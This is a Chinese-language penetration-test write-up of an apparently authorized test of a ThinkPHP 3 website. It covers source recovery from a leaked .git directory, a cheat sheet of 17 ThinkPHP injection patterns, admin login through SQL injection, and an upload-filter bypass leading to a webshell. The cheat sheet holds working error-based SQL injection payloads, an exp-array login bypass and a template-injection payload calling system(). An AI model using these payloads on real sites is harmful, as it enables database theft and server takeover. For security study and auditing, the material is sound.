一、事件起因
一次師兄讓我檢測一下他們開發的網站是否有漏洞,網站是php開發的,最近一直搞java,正好最近有場CTF要打,就順便看看php.
二、獲取源碼
仔細看他給我發的那張圖片,360給這個網站53的評分,仔細看網站存在.git文件泄露,直接用Githack拿到源碼。
三、確定后台框架
拿到源碼后,一看目錄就知道是thinkphp框架,再看controller接收參數的函數是I(),確定用的是thinkphp 3的框架。
總結的thinphp 3常見的開發漏洞:
1.where后直接直接拼接會產生注入
$data = M('user')->where("id=".I('id'))->select();
2. table表名函數可控產生注入
M()->table(I('biao'))->where('1=1')->select();
table ?biao=thinkphp_user where 1=1 and 1=(extractvalue(1, concat(0x7e, (select @@version),0x7e)))-- -a 表名必須存在。
3. field函數可控產生注入
M('user')->field(I('id'))->where('1=1')->select();
//SELECT `id` FROM `thinkphp_user` WHERE ( 1=1 ) id可控導致注入
4. field別名可控存在注入
M('user')->field(array('id','username'=>I('name')))->select();
// SELECT `id`,`username` AS `uname` FROM `thinkphp_user` //別名 ?name=uname`a報錯
5.->(alias|join|union)\s*\((\$|\$_|I) 用正則查找 alias|join|union參數可控制
M('user')->field(I('id'))->union('select 1 from thinkphp_user')->select();
6.order,group,having參數可控
M('user')->where('1=1')->order(array('id'=>I('orderby')))->select();
SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) ORDER BY `id` asc ---?orderby=asc
7.comment注入
M('user')->comment(I('comment'))->where('1=1')->select();
SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) /* 111111111 */ comment=111111111
8.索引注入
$Model->index(I('user'))->select();
9.query,execute,聚合函數支持原生的sql語句
M('user')->count(I('par')); //聚合函數 SELECT COUNT(*) AS tp_count FROM `thinkphp_user` LIMIT 1 ?par=*
10.exp注入
a.)
$data = array();
$data['user'] = $_POST['username'];
$data['pass'] = md5($_POST['password']);
M('user')->where($data)->find();
payload: username[0]=exp&username[1]=aa'or 1=1%23&password=1
b.)
$res=M('member')->where(array('id'=>$_GET['userid']))->count();
payload:userid[0]=exp&userid[1]=aaaaaa
c.)通過I函數exp注入就不存在了
$res = M('member')->where(array('id'=>$I('userid')))->count();
11、參數傳遞注入 public\s+function\s+[\w_]+\(\$
public function index(/*$id*/)....
if(intval($id)>0)
{
$data = M('user')->where('id='.$id)->select(); //?id=1) 直接繞過判斷
dump($data);
}
12.setInc注入
$user = M("user");
$user->where('id=5')->setInc('sorce'.I('num'));
13.組合注入
$map['id'] = I('id');
$map['_string'] = 'username='."'".I('username')."'";
$data = M('user')->where($map)->select();
dump(data);
[url]http://127.0.0.1/tp/index.php/home/user/index?id=5&username=afanti[/url]
SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( username='afanti' )
14、_query參數可控
$map['id'] = 5;
$map['_query']='username=afanti&score=10';
$data = M('user')->where($map)->select();
dump(data);
SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( `username` = 'afanti' AND `score` = '10' )
15、模板問題
$name = $_GET['name'];
$this->assign($name);
$this->display('index'); //'TMPL_ENGINE_TYPE' => 'php'才有效,默認是Think
[url]http://127.0.0.1/tp/index.php/home/user/index?name[/url][_content]=<?php system('type index.php');;?>
16、在runtime/key.php
S('a',I('id')); //http://127.0.0.1/tp/index.php/home/index/test?id=%0Aphpinfo%28%29//
在Temp生成文件 生成的文件名字可到cmd5破解
<?php
//000000000000s:12:"
phpinfo()//";
?>
F('key','<?php phpinfo();?>');
$this->display();
17.select、find、delete注入
public function test()
{
$id = i('id');
$res = M('user')->find($id);
//$res = M('user')->delete($id);
//$res = M('user')->select($id);
}
注入的payload:
table:[url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias:[url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
where: [url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
delete方法注入payload:
where: [url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias: [url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
table: [url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1
四、Sql注入漏洞
熟悉完框架和整體目錄結構后,直接看controller層的代碼。全局搜索下是否用原生的php接收參數.
找對應的controller,根據上面總結看是否存在注入。下面只是一處sql注入為例。
Mycourse控制器的listLesson方法$lesson_id參數拼接,進入數據庫產生的注入。
獲取數據庫
獲取表,這網站前台注冊個賬號,發現功能很少。看代碼后台功能很多,自然問題也就不少。
獲取數據表可以用注入的方式,我們也可以查看model層的代碼。
前台注冊用戶當輸入手機和密碼就能登陸后台,只要我們獲取管理員的就能登陸。
通過注入獲取到一個權限是10的賬號
查看代碼,10為管理員,直接通過注入登陸網站后台
五、上傳漏洞
登陸后台后,看下是否存在上傳點。發現好多能上傳的地方。對應看后台的代碼看是否能上傳繞過。
發現createLesson這個方法存在問題。
上傳操作正常的代碼。把后綴限制,上面的代碼沒有白名單驗證。就能夠任意文件上傳,直接getshell。
嘗試上傳txt文件,前端bootstrap上傳框架顯示不讓上傳圖片等文件。
看代碼,這里限制了上傳后綴.
通過burp繞過限制,上傳成功。
六、找上傳路徑
發現這個網站使用的是阿里雲的oss雲存儲。在服務器上應該存在上傳的php文件。這就需要具體看上傳代碼的存儲位置。
看下upload類,開發人員將thinkphp upload類重寫,加了上傳到oss的代碼
具體代碼如下,具體跟一下C配置的參加就能獲取上傳的路徑:
最后拿到shell
結語
本想着提個權,師兄把權限設置的比較嚴格,禁用了好多函數,數據庫也不是root用戶,能力有限,就這樣吧。有空把代碼通讀一下,上面只是以倆個典型洞為例。
話說當拿到源碼時,滲透成功率至少提高5成以上。